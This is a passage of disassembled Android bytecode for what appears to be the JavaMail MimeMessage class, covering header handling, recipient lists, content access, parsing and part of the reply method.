00000092  throw                   v1
          .catch IOException {:3C .. :74} :82
.end method

.method private addAddressHeader(String, [Address)V
          .registers 4
00000000  invoke-static           InternetAddress->toString([Address)String, p2
00000006  move-result-object      v0
00000008  if-nez                  v0, :E
:C
0000000C  return-void
:E
0000000E  invoke-virtual          MimeMessage->addHeader(String, String)V, p0, p1, v0
00000014  goto                    :C
.end method

.method private eliminateDuplicates(Vector, [Address)[Address
          .registers 10
00000000  const/4                 v5, 0x0
00000002  const/4                 v2, 0x0
00000004  if-nez                  p2, :C
:8
00000008  move-object             v0, v5
:A
0000000A  return-object           v0
:C
0000000C  move                    v1, v2
0000000E  move                    v3, v2
:10
00000010  array-length            v0, p2
00000012  if-lt                   v1, v0, :4E
:16
00000016  if-eqz                  v3, :AE
:1A
0000001A  instance-of             v0, p2, [InternetAddress
0000001E  if-eqz                  v0, :A4
:22
00000022  array-length            v0, p2
00000024  sub-int/2addr           v0, v3
00000026  new-array               v0, v0, [InternetAddress
:2A
0000002A  move                    v1, v2
:2C
0000002C  array-length            v3, p2
0000002E  if-ge                   v1, v3, :A
:32
00000032  aget-object             v3, p2, v1
00000036  if-eqz                  v3, :48
:3A
0000003A  add-int/lit8            v3, v2, 0x1
0000003E  aget-object             v4, p2, v1
00000042  aput-object             v4, v0, v2
00000046  move                    v2, v3
:48
00000048  add-int/lit8            v1, v1, 0x1
0000004C  goto                    :2C
:4E
0000004E  move                    v4, v2
:50
00000050  invoke-virtual          Vector->size()I, p1
00000056  move-result             v0
00000058  if-lt                   v4, v0, :74
:5C
0000005C  move                    v0, v2
:5E
0000005E  if-nez                  v0, :6C
:62
00000062  aget-object             v0, p2, v1
00000066  invoke-virtual          Vector->addElement(Object)V, p1, v0
:6C
0000006C  add-int/lit8            v0, v1, 0x1
00000070  move                    v1, v0
00000072  goto                    :10
:74
00000074  invoke-virtual          Vector->elementAt(I)Object, p1, v4
0000007A  move-result-object      v0
0000007C  check-cast              v0, InternetAddress
00000080  aget-object             v6, p2, v1
00000084  invoke-virtual          InternetAddress->equals(Object)Z, v0, v6
0000008A  move-result             v0
0000008C  if-eqz                  v0, :9C
:90
00000090  const/4                 v0, 0x1
00000092  add-int/lit8            v3, v3, 0x1
00000096  aput-object             v5, p2, v1
0000009A  goto                    :5E
:9C
0000009C  add-int/lit8            v0, v4, 0x1
000000A0  move                    v4, v0
000000A2  goto                    :50
:A4
000000A4  array-length            v0, p2
000000A6  sub-int/2addr           v0, v3
000000A8  new-array               v0, v0, [Address
000000AC  goto                    :2A
:AE
000000AE  move-object             v0, p2
000000B0  goto                    :A
.end method

.method private getAddressHeader(String)[Address
          .registers 4
00000000  const-string            v0, ","
00000004  invoke-virtual          MimeMessage->getHeader(String, String)String, p0, p1, v0
0000000A  move-result-object      v0
0000000C  if-nez                  v0, :14
:10
00000010  const/4                 v0, 0x0
:12
00000012  return-object           v0
:14
00000014  iget-boolean            v1, p0, MimeMessage->strict:Z
00000018  invoke-static           InternetAddress->parseHeader(String, Z)[InternetAddress, v0, v1
0000001E  move-result-object      v0
00000020  goto                    :12
.end method

.method private getHeaderName(Message$RecipientType)String
          .registers 4
00000000  sget-object             v0, Message$RecipientType->TO:Message$RecipientType
00000004  if-ne                   p1, v0, :E
:8
00000008  const-string            v0, "To"
:C
0000000C  return-object           v0
:E
0000000E  sget-object             v0, Message$RecipientType->CC:Message$RecipientType
00000012  if-ne                   p1, v0, :1C
:16
00000016  const-string            v0, "Cc"
0000001A  goto                    :C
:1C
0000001C  sget-object             v0, Message$RecipientType->BCC:Message$RecipientType
00000020  if-ne                   p1, v0, :2A
:24
00000024  const-string            v0, "Bcc"
00000028  goto                    :C
:2A
0000002A  sget-object             v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
0000002E  if-ne                   p1, v0, :38
:32
00000032  const-string            v0, "Newsgroups"
00000036  goto                    :C
:38
00000038  new-instance            v0, MessagingException
0000003C  const-string            v1, "Invalid Recipient Type"
00000040  invoke-direct           MessagingException-><init>(String)V, v0, v1
00000046  throw                   v0
.end method

.method private initStrict()V
          .registers 3
00000000  iget-object             v0, p0, MimeMessage->session:Session
00000004  if-eqz                  v0, :32
:8
00000008  iget-object             v0, p0, MimeMessage->session:Session
0000000C  const-string            v1, "mail.mime.address.strict"
00000010  invoke-virtual          Session->getProperty(String)String, v0, v1
00000016  move-result-object      v0
00000018  if-eqz                  v0, :34
:1C
0000001C  const-string            v1, "false"
00000020  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000026  move-result             v0
00000028  if-eqz                  v0, :34
:2C
0000002C  const/4                 v0, 0x0
:2E
0000002E  iput-boolean            v0, p0, MimeMessage->strict:Z
:32
00000032  return-void
:34
00000034  const/4                 v0, 0x1
00000036  goto                    :2E
.end method

.method private setAddressHeader(String, [Address)V
          .registers 4
00000000  invoke-static           InternetAddress->toString([Address)String, p2
00000006  move-result-object      v0
00000008  if-nez                  v0, :14
:C
0000000C  invoke-virtual          MimeMessage->removeHeader(String)V, p0, p1
:12
00000012  return-void
:14
00000014  invoke-virtual          MimeMessage->setHeader(String, String)V, p0, p1, v0
0000001A  goto                    :12
.end method

.method public addFrom([Address)V
          .registers 3
00000000  const-string            v0, "From"
00000004  invoke-direct           MimeMessage->addAddressHeader(String, [Address)V, p0, v0, p1
0000000A  return-void
.end method

.method public addHeader(String, String)V
          .registers 4
00000000  iget-object             v0, p0, MimeMessage->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->addHeader(String, String)V, v0, p1, p2
0000000A  return-void
.end method

.method public addHeaderLine(String)V
          .registers 3
00000000  iget-object             v0, p0, MimeMessage->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->addHeaderLine(String)V, v0, p1
0000000A  return-void
.end method

.method public addRecipients(Message$RecipientType, String)V
          .registers 5
00000000  sget-object             v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
00000004  if-ne                   p1, v0, :24
:8
00000008  if-eqz                  p2, :22
:C
0000000C  invoke-virtual          String->length()I, p2
00000012  move-result             v0
00000014  if-eqz                  v0, :22
:18
00000018  const-string            v0, "Newsgroups"
0000001C  invoke-virtual          MimeMessage->addHeader(String, String)V, p0, v0, p2
:22
00000022  return-void
:24
00000024  invoke-direct           MimeMessage->getHeaderName(Message$RecipientType)String, p0, p1
0000002A  move-result-object      v0
0000002C  invoke-static           InternetAddress->parse(String)[InternetAddress, p2
00000032  move-result-object      v1
00000034  invoke-direct           MimeMessage->addAddressHeader(String, [Address)V, p0, v0, v1
0000003A  goto                    :22
.end method

.method public addRecipients(Message$RecipientType, [Address)V
          .registers 5
00000000  sget-object             v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
00000004  if-ne                   p1, v0, :20
:8
00000008  invoke-static           NewsAddress->toString([Address)String, p2
0000000E  move-result-object      v0
00000010  if-eqz                  v0, :1E
:14
00000014  const-string            v1, "Newsgroups"
00000018  invoke-virtual          MimeMessage->addHeader(String, String)V, p0, v1, v0
:1E
0000001E  return-void
:20
00000020  invoke-direct           MimeMessage->getHeaderName(Message$RecipientType)String, p0, p1
00000026  move-result-object      v0
00000028  invoke-direct           MimeMessage->addAddressHeader(String, [Address)V, p0, v0, p2
0000002E  goto                    :1E
.end method

.method protected createInternetHeaders(InputStream)InternetHeaders
          .registers 3
00000000  new-instance            v0, InternetHeaders
00000004  invoke-direct           InternetHeaders-><init>(InputStream)V, v0, p1
0000000A  return-object           v0
.end method

.method protected createMimeMessage(Session)MimeMessage
          .registers 3
00000000  new-instance            v0, MimeMessage
00000004  invoke-direct           MimeMessage-><init>(Session)V, v0, p1
0000000A  return-object           v0
.end method

.method public getAllHeaderLines()Enumeration
          .registers 2
00000000  iget-object             v0, p0, MimeMessage->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->getAllHeaderLines()Enumeration, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getAllHeaders()Enumeration
          .registers 2
00000000  iget-object             v0, p0, MimeMessage->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->getAllHeaders()Enumeration, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getAllRecipients()[Address
          .registers 6
00000000  const/4                 v4, 0x0
00000002  invoke-super            Message->getAllRecipients()[Address, p0
00000008  move-result-object      v0
0000000A  sget-object             v1, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
0000000E  invoke-virtual          MimeMessage->getRecipients(Message$RecipientType)[Address, p0, v1
00000014  move-result-object      v1
00000016  if-nez                  v1, :1C
:1A
0000001A  return-object           v0
:1C
0000001C  if-nez                  v0, :24
:20
00000020  move-object             v0, v1
00000022  goto                    :1A
:24
00000024  array-length            v2, v0
00000026  array-length            v3, v1
00000028  add-int/2addr           v2, v3
0000002A  new-array               v2, v2, [Address
0000002E  array-length            v3, v0
00000030  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v0, v4, v2, v4, v3
00000036  array-length            v0, v0
00000038  array-length            v3, v1
0000003A  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v1, v4, v2, v0, v3
00000040  move-object             v0, v2
00000042  goto                    :1A
.end method

.method public getContent()Object
          .registers 4
00000000  iget-object             v0, p0, MimeMessage->cachedContent:Object
00000004  if-eqz                  v0, :E
:8
00000008  iget-object             v0, p0, MimeMessage->cachedContent:Object
:C
0000000C  return-object           v0
:E
0000000E  invoke-virtual          MimeMessage->getDataHandler()DataHandler, p0
00000014  move-result-object      v0
00000016  invoke-virtual          DataHandler->getContent()Object, v0
:1C
0000001C  move-result-object      v0
0000001E  sget-boolean            v1, MimeBodyPart->cacheMultipart:Z
00000022  if-eqz                  v1, :C
:26
00000026  instance-of             v1, v0, Multipart
0000002A  if-nez                  v1, :36
:2E
0000002E  instance-of             v1, v0, Message
00000032  if-eqz                  v1, :C
:36
00000036  iget-object             v1, p0, MimeMessage->content:[B
0000003A  if-nez                  v1, :46
:3E
0000003E  iget-object             v1, p0, MimeMessage->contentStream:InputStream
00000042  if-eqz                  v1, :C
:46
00000046  iput-object             v0, p0, MimeMessage->cachedContent:Object
0000004A  goto                    :C
:4C
0000004C  move-exception          v0
0000004E  new-instance            v1, FolderClosedException
00000052  invoke-virtual          FolderClosedIOException->getFolder()Folder, v0
00000058  move-result-object      v2
0000005A  invoke-virtual          FolderClosedIOException->getMessage()String, v0
00000060  move-result-object      v0
00000062  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, v2, v0
00000068  throw                   v1
:6A
0000006A  move-exception          v0
0000006C  new-instance            v1, MessageRemovedException
00000070  invoke-virtual          MessageRemovedIOException->getMessage()String, v0
00000076  move-result-object      v0
00000078  invoke-direct           MessageRemovedException-><init>(String)V, v1, v0
0000007E  throw                   v1
          .catch FolderClosedIOException {:E .. :1C} :4C
          .catch MessageRemovedIOException {:E .. :1C} :6A
.end method

.method public getContentID()String
          .registers 3
00000000  const-string            v0, "Content-Id"
00000004  const/4                 v1, 0x0
00000006  invoke-virtual          MimeMessage->getHeader(String, String)String, p0, v0, v1
0000000C  move-result-object      v0
0000000E  return-object           v0
.end method

.method public getContentLanguage()[String
          .registers 2
00000000  invoke-static           MimeBodyPart->getContentLanguage(MimePart)[String, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public getContentMD5()String
          .registers 3
00000000  const-string            v0, "Content-MD5"
00000004  const/4                 v1, 0x0
00000006  invoke-virtual          MimeMessage->getHeader(String, String)String, p0, v0, v1
0000000C  move-result-object      v0
0000000E  return-object           v0
.end method

.method protected getContentStream()InputStream
          .registers 6
00000000  iget-object             v0, p0, MimeMessage->contentStream:InputStream
00000004  if-eqz                  v0, :22
:8
00000008  iget-object             v0, p0, MimeMessage->contentStream:InputStream
0000000C  check-cast              v0, SharedInputStream
00000010  const-wide/16           v1, 0x0
00000014  const-wide/16           v3, 0xFFFFFFFFFFFFFFFF
00000018  invoke-interface        SharedInputStream->newStream(J, J)InputStream, v0, v1, v2, v3, v4
0000001E  move-result-object      v0
:20
00000020  return-object           v0
:22
00000022  iget-object             v0, p0, MimeMessage->content:[B
00000026  if-eqz                  v0, :3A
:2A
0000002A  new-instance            v0, SharedByteArrayInputStream
0000002E  iget-object             v1, p0, MimeMessage->content:[B
00000032  invoke-direct           SharedByteArrayInputStream-><init>([B)V, v0, v1
00000038  goto                    :20
:3A
0000003A  new-instance            v0, MessagingException
0000003E  const-string            v1, "No content"
00000042  invoke-direct           MessagingException-><init>(String)V, v0, v1
00000048  throw                   v0
.end method

.method public getContentType()String
          .registers 3
00000000  const-string            v0, "Content-Type"
00000004  const/4                 v1, 0x0
00000006  invoke-virtual          MimeMessage->getHeader(String, String)String, p0, v0, v1
0000000C  move-result-object      v0
0000000E  if-nez                  v0, :16
:12
00000012  const-string            v0, "text/plain"
:16
00000016  return-object           v0
.end method

.method public declared-synchronized getDataHandler()DataHandler
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, MimeMessage->dh:DataHandler
00000006  if-nez                  v0, :22
:A
0000000A  new-instance            v0, DataHandler
0000000E  new-instance            v1, MimePartDataSource
00000012  invoke-direct           MimePartDataSource-><init>(MimePart)V, v1, p0
00000018  invoke-direct           DataHandler-><init>(DataSource)V, v0, v1
0000001E  iput-object             v0, p0, MimeMessage->dh:DataHandler
:22
00000022  iget-object             v0, p0, MimeMessage->dh:DataHandler
:26
00000026  monitor-exit            p0
00000028  return-object           v0
:2A
0000002A  move-exception          v0
0000002C  monitor-exit            p0
0000002E  throw                   v0
          .catchall {:2 .. :26} :2A
.end method

.method public getDescription()String
          .registers 2
00000000  invoke-static           MimeBodyPart->getDescription(MimePart)String, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public getDisposition()String
          .registers 2
00000000  invoke-static           MimeBodyPart->getDisposition(MimePart)String, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public getEncoding()String
          .registers 2
00000000  invoke-static           MimeBodyPart->getEncoding(MimePart)String, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public getFileName()String
          .registers 2
00000000  invoke-static           MimeBodyPart->getFileName(MimePart)String, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public declared-synchronized getFlags()Flags
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, MimeMessage->flags:Flags
00000006  invoke-virtual          Flags->clone()Object, v0
0000000C  move-result-object      v0
0000000E  check-cast              v0, Flags
:12
00000012  monitor-exit            p0
00000014  return-object           v0
:16
00000016  move-exception          v0
00000018  monitor-exit            p0
0000001A  throw                   v0
          .catchall {:2 .. :12} :16
.end method

.method public getFrom()[Address
          .registers 2
00000000  const-string            v0, "From"
00000004  invoke-direct           MimeMessage->getAddressHeader(String)[Address, p0, v0
0000000A  move-result-object      v0
0000000C  if-nez                  v0, :1C
:10
00000010  const-string            v0, "Sender"
00000014  invoke-direct           MimeMessage->getAddressHeader(String)[Address, p0, v0
0000001A  move-result-object      v0
:1C
0000001C  return-object           v0
.end method

.method public getHeader(String, String)String
          .registers 4
00000000  iget-object             v0, p0, MimeMessage->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->getHeader(String, String)String, v0, p1, p2
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getHeader(String)[String
          .registers 3
00000000  iget-object             v0, p0, MimeMessage->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->getHeader(String)[String, v0, p1
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getInputStream()InputStream
          .registers 2
00000000  invoke-virtual          MimeMessage->getDataHandler()DataHandler, p0
00000006  move-result-object      v0
00000008  invoke-virtual          DataHandler->getInputStream()InputStream, v0
0000000E  move-result-object      v0
00000010  return-object           v0
.end method

.method public getLineCount()I
          .registers 2
00000000  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000002  return                  v0
.end method

.method public getMatchingHeaderLines([String)Enumeration
          .registers 3
00000000  iget-object             v0, p0, MimeMessage->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->getMatchingHeaderLines([String)Enumeration, v0, p1
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getMatchingHeaders([String)Enumeration
          .registers 3
00000000  iget-object             v0, p0, MimeMessage->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->getMatchingHeaders([String)Enumeration, v0, p1
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getMessageID()String
          .registers 3
00000000  const-string            v0, "Message-ID"
00000004  const/4                 v1, 0x0
00000006  invoke-virtual          MimeMessage->getHeader(String, String)String, p0, v0, v1
0000000C  move-result-object      v0
0000000E  return-object           v0
.end method

.method public getNonMatchingHeaderLines([String)Enumeration
          .registers 3
00000000  iget-object             v0, p0, MimeMessage->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->getNonMatchingHeaderLines([String)Enumeration, v0, p1
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getNonMatchingHeaders([String)Enumeration
          .registers 3
00000000  iget-object             v0, p0, MimeMessage->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->getNonMatchingHeaders([String)Enumeration, v0, p1
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getRawInputStream()InputStream
          .registers 2
00000000  invoke-virtual          MimeMessage->getContentStream()InputStream, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public getReceivedDate()Date
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return-object           v0
.end method

.method public getRecipients(Message$RecipientType)[Address
          .registers 4
00000000  sget-object             v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
00000004  if-ne                   p1, v0, :2A
:8
00000008  const-string            v0, "Newsgroups"
0000000C  const-string            v1, ","
00000010  invoke-virtual          MimeMessage->getHeader(String, String)String, p0, v0, v1
00000016  move-result-object      v0
00000018  if-nez                  v0, :20
:1C
0000001C  const/4                 v0, 0x0
:1E
0000001E  return-object           v0
:20
00000020  invoke-static           NewsAddress->parse(String)[NewsAddress, v0
00000026  move-result-object      v0
00000028  goto                    :1E
:2A
0000002A  invoke-direct           MimeMessage->getHeaderName(Message$RecipientType)String, p0, p1
00000030  move-result-object      v0
00000032  invoke-direct           MimeMessage->getAddressHeader(String)[Address, p0, v0
00000038  move-result-object      v0
0000003A  goto                    :1E
.end method

.method public getReplyTo()[Address
          .registers 2
00000000  const-string            v0, "Reply-To"
00000004  invoke-direct           MimeMessage->getAddressHeader(String)[Address, p0, v0
0000000A  move-result-object      v0
0000000C  if-nez                  v0, :18
:10
00000010  invoke-virtual          MimeMessage->getFrom()[Address, p0
00000016  move-result-object      v0
:18
00000018  return-object           v0
.end method

.method public getSender()Address
          .registers 3
00000000  const-string            v0, "Sender"
00000004  invoke-direct           MimeMessage->getAddressHeader(String)[Address, p0, v0
0000000A  move-result-object      v0
0000000C  if-eqz                  v0, :16
:10
00000010  array-length            v1, v0
00000012  if-nez                  v1, :1A
:16
00000016  const/4                 v0, 0x0
:18
00000018  return-object           v0
:1A
0000001A  const/4                 v1, 0x0
0000001C  aget-object             v0, v0, v1
00000020  goto                    :18
.end method

.method public getSentDate()Date
          .registers 5
00000000  const/4                 v1, 0x0
00000002  const-string            v0, "Date"
00000006  invoke-virtual          MimeMessage->getHeader(String, String)String, p0, v0, v1
0000000C  move-result-object      v0
0000000E  if-eqz                  v0, :34
:12
00000012  sget-object             v2, MimeMessage->mailDateFormat:MailDateFormat
00000016  monitor-enter           v2
:18
00000018  sget-object             v3, MimeMessage->mailDateFormat:MailDateFormat
0000001C  invoke-virtual          MailDateFormat->parse(String)Date, v3, v0
00000022  move-result-object      v0
00000024  monitor-exit            v2
:26
00000026  return-object           v0
:28
00000028  move-exception          v0
0000002A  monitor-exit            v2
:2C
0000002C  throw                   v0
:2E
0000002E  move-exception          v0
00000030  move-object             v0, v1
00000032  goto                    :26
:34
00000034  move-object             v0, v1
00000036  goto                    :26
          .catch ParseException {:12 .. :18} :2E
          .catchall {:18 .. :2C} :28
          .catch ParseException {:2C .. :2E} :2E
.end method

.method public getSize()I
          .registers 2
00000000  iget-object             v0, p0, MimeMessage->content:[B
00000004  if-eqz                  v0, :10
:8
00000008  iget-object             v0, p0, MimeMessage->content:[B
0000000C  array-length            v0, v0
:E
0000000E  return                  v0
:10
00000010  iget-object             v0, p0, MimeMessage->contentStream:InputStream
00000014  if-eqz                  v0, :28
:18
00000018  iget-object             v0, p0, MimeMessage->contentStream:InputStream
0000001C  invoke-virtual          InputStream->available()I, v0
:22
00000022  move-result             v0
00000024  if-gtz                  v0, :E
:28
00000028  const/4                 v0, 0xFFFFFFFFFFFFFFFF
0000002A  goto                    :E
:2C
0000002C  move-exception          v0
0000002E  goto                    :28
          .catch IOException {:18 .. :22} :2C
.end method

.method public getSubject()String
          .registers 3
00000000  const/4                 v0, 0x0
00000002  const-string            v1, "Subject"
00000006  invoke-virtual          MimeMessage->getHeader(String, String)String, p0, v1, v0
0000000C  move-result-object      v1
0000000E  if-nez                  v1, :14
:12
00000012  return-object           v0
:14
00000014  invoke-static           MimeUtility->unfold(String)String, v1
0000001A  move-result-object      v0
0000001C  invoke-static           MimeUtility->decodeText(String)String, v0
:22
00000022  move-result-object      v0
00000024  goto                    :12
:26
00000026  move-exception          v0
00000028  move-object             v0, v1
0000002A  goto                    :12
          .catch UnsupportedEncodingException {:14 .. :22} :26
.end method

.method public isMimeType(String)Z
          .registers 3
00000000  invoke-static           MimeBodyPart->isMimeType(MimePart, String)Z, p0, p1
00000006  move-result             v0
00000008  return                  v0
.end method

.method public declared-synchronized isSet(Flags$Flag)Z
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, MimeMessage->flags:Flags
00000006  invoke-virtual          Flags->contains(Flags$Flag)Z, v0, p1
:C
0000000C  move-result             v0
0000000E  monitor-exit            p0
00000010  return                  v0
:12
00000012  move-exception          v0
00000014  monitor-exit            p0
00000016  throw                   v0
          .catchall {:2 .. :C} :12
.end method

.method protected parse(InputStream)V
          .registers 7
00000000  instance-of             v0, p1, ByteArrayInputStream
00000004  if-nez                  v0, :7A
:8
00000008  instance-of             v0, p1, BufferedInputStream
0000000C  if-nez                  v0, :7A
:10
00000010  instance-of             v0, p1, SharedInputStream
00000014  if-nez                  v0, :7A
:18
00000018  new-instance            v0, BufferedInputStream
0000001C  invoke-direct           BufferedInputStream-><init>(InputStream)V, v0, p1
:22
00000022  invoke-virtual          MimeMessage->createInternetHeaders(InputStream)InternetHeaders, p0, v0
00000028  move-result-object      v1
0000002A  iput-object             v1, p0, MimeMessage->headers:InternetHeaders
0000002E  instance-of             v1, v0, SharedInputStream
00000032  if-eqz                  v1, :5A
:36
00000036  check-cast              v0, SharedInputStream
0000003A  invoke-interface        SharedInputStream->getPosition()J, v0
00000040  move-result-wide        v1
00000042  const-wide/16           v3, 0xFFFFFFFFFFFFFFFF
00000046  invoke-interface        SharedInputStream->newStream(J, J)InputStream, v0, v1, v2, v3, v4
0000004C  move-result-object      v0
0000004E  iput-object             v0, p0, MimeMessage->contentStream:InputStream
:52
00000052  const/4                 v0, 0x0
00000054  iput-boolean            v0, p0, MimeMessage->modified:Z
00000058  return-void
:5A
0000005A  invoke-static           ASCIIUtility->getBytes(InputStream)[B, v0
00000060  move-result-object      v0
00000062  iput-object             v0, p0, MimeMessage->content:[B
:66
00000066  goto                    :52
:68
00000068  move-exception          v0
0000006A  new-instance            v1, MessagingException
0000006E  const-string            v2, "IOException"
00000072  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000078  throw                   v1
:7A
0000007A  move-object             v0, p1
0000007C  goto                    :22
          .catch IOException {:5A .. :66} :68
.end method

.method public removeHeader(String)V
          .registers 3
00000000  iget-object             v0, p0, MimeMessage->headers:InternetHeaders
00000004  invoke-virtual          InternetHeaders->removeHeader(String)V, v0, p1
0000000A  return-void
.end method

.method public reply(Z)Message
          .registers 10
00000000  const/4                 v1, 0x1
00000002  const/4                 v6, 0x0
00000004  const/4                 v2, 0x0
00000006  iget-object             v0, p0, MimeMessage->session:Session
0000000A  invoke-virtual          MimeMessage->createMimeMessage(Session)MimeMessage, p0, v0
00000010  move-result-object      v7
00000012  const-string            v0, "Subject"
00000016  invoke-virtual          MimeMessage->getHeader(String, String)String, p0, v0, v6
0000001C  move-result-object      v0
0000001E  if-eqz                  v0, :5E
:22
00000022  const-string            v3, "Re: "
00000026  const/4                 v5, 0x4
00000028  move                    v4, v2
0000002A  invoke-virtual/range    String->regionMatches(Z, I, String, I, I)Z, v0 .. v5
00000030  move-result             v3
00000032  if-nez                  v3, :54
:36
00000036  new-instance            v3, StringBuilder
0000003A  const-string            v4, "Re: "
0000003E  invoke-direct           StringBuilder-><init>(String)V, v3, v4
00000044  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v0
0000004A  move-result-object      v0
0000004C  invoke-virtual          StringBuilder->toString()String, v0
00000052  move-result-object      v0
:54
00000054  const-string            v3, "Subject"
00000058  invoke-virtual          MimeMessage->setHeader(String, String)V, v7, v3, v0
:5E
0000005E  invoke-virtual          MimeMessage->getReplyTo()[Address, p0
00000064  move-result-object      v3
00000066  sget-object             v0, Message$RecipientType->TO:Message$RecipientType
0000006A  invoke-virtual          MimeMessage->setRecipients(Message$RecipientType, [Address)V, v7, v0, v3
00000070  if-eqz                  p1, :164
:74
00000074  new-instance            v4, Vector
00000078  invoke-direct           Vector-><init>()V, v4
0000007E  iget-object             v0, p0, MimeMessage->session:Session
00000082  invoke-static           InternetAddress->getLocalAddress(Session)InternetAddress, v0
00000088  move-result-object      v0
0000008A  if-eqz                  v0, :94
:8E
0000008E  invoke-virtual          Vector->addElement(Object)V, v4, v0
:94
00000094  iget-object             v0, p0, MimeMessage->session:Session
00000098  if-eqz                  v0, :228
:9C
0000009C  iget-object             v0, p0, MimeMessage->session:Session
000000A0  const-string            v5, "mail.alternates"
000000A4  invoke-virtual          Session->getProperty(String)String, v0, v5
000000AA  move-result-object      v0
:AC
000000AC  if-eqz                  v0, :BE
:B0
000000B0  invoke-static           InternetAddress->parse(String, Z)[InternetAddress, v0, v2
000000B6  move-result-object      v0
000000B8  invoke-direct           MimeMessage->eliminateDuplicates(Vector, [Address)[Address, p0, v4, v0
:BE
000000BE  iget-object             v0, p0, MimeMessage->session:Session
000000C2  if-eqz                  v0, :222
:C6
000000C6  iget-object             v0, p0, MimeMessage->session:Session
000000CA  const-string            v5, "mail.replyallcc"
000000CE  invoke-virtual          Session->getProperty(String)String, v0, v5
000000D4  move-result-object      v0
:D6
000000D6  if-eqz                  v0, :208
:DA
000000DA  const-string            v5, "true"
000000DE  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v5
000000E4  move-result             v0
000000E6  if-eqz                  v0, :208
:EA
000000EA  invoke-direct           MimeMessage->eliminateDuplicates(Vector, [Address)[Address, p0, v4, v3
000000F0  sget-object             v0, Message$RecipientType->TO:Message$RecipientType
000000F4  invoke-virtual          MimeMessage->getRecipients(Message$RecipientType)[Address, p0, v0
000000FA  move-result-object      v0
000000FC  invoke-direct           MimeMessage->eliminateDuplicates(Vector, [Address)[Address, p0, v4, v0
00000102  move-result-object      v0
00000104  if-eqz                  v0, :11C
:108
00000108  array-length            v2, v0
0000010A  if-lez                  v2, :11C
:10E
0000010E  if-eqz                  v1, :20E
:112
00000112  sget-object             v1, Message$RecipientType->CC:Message$RecipientType
00000116  invoke-virtual          MimeMessage->addRecipients(Message$RecipientType, [Address)V, v7, v1, v0
:11C
0000011C  sget-object             v0, Message$RecipientType->CC:Message$RecipientType
00000120  invoke-virtual          MimeMessage->getRecipients(Message$RecipientType)[Address, p0, v0
00000126  move-result-object      v0
00000128  invoke-direct           MimeMessage->eliminateDuplicates(Vector, [Address)[Address, p0, v4, v0
0000012E  move-result-object      v0
00000130  if-eqz                  v0, :144
:134
00000134  array-length            v1, v0
00000136  if-lez                  v1, :144
:13A
0000013A  sget-object             v1, Message$RecipientType->CC:Message$RecipientType
0000013E  invoke-virtual          MimeMessage->addRecipients(Message$RecipientType, [Address)V, v7, v1, v0
:144
00000144  sget-object             v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
00000148  invoke-virtual          MimeMessage->getRecipients(Message$RecipientType)[Address, p0, v0
0000014E  move-result-object      v0
00000150  if-eqz                  v0, :164
:154
00000154  array-length            v1, v0
00000156  if-lez                  v1, :164
:15A
0000015A  sget-object             v1, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
0000015E  invoke-virtual          MimeMessage->setRecipients(Message$RecipientType, [Address)V, v7, v1, v0
:164
00000164  const-string            v0, "Message-Id"
00000168  invoke-virtual          MimeMessage->getHeader(String, String)String, p0, v0, v6
0000016E  move-result-object      v0
00000170  if-eqz                  v0, :17E
:174
00000174  const-string            v1, "In-Reply-To"
00000178  invoke-virtual          MimeMessage->setHeader(String, String)V, v7, v1, v0
:17E
0000017E  const-string            v1, "References"
00000182  const-string            v2, " "
00000186  invoke-virtual          MimeMessage->getHeader(String, String)String, p0, v1, v2
0000018C  move-result-object      v1
0000018E  if-nez                  v1, :1A2
:192
00000192  const-string            v1, "In-Reply-To"
00000196  const-string            v2, " "
0000019A  invoke-virtual          MimeMessage->getHeader(String, String)String, p0, v1, v2
000001A0  move-result-object      v1
:1A2
000001A2  if-eqz                  v0, :21E
:1A6
000001A6  if-eqz                  v1, :1E0
:1AA
000001AA  new-instance            v2, StringBuilder
000001AE  invoke-static           MimeUtility->unfold(String)String, v1
000001B4  move-result-object      v1
000001B6  invoke-static           String->valueOf(Object)String, v1
000001BC  move-result-object      v1
000001BE  invoke-direct           StringBuilder-><init>(String)V, v2, v1
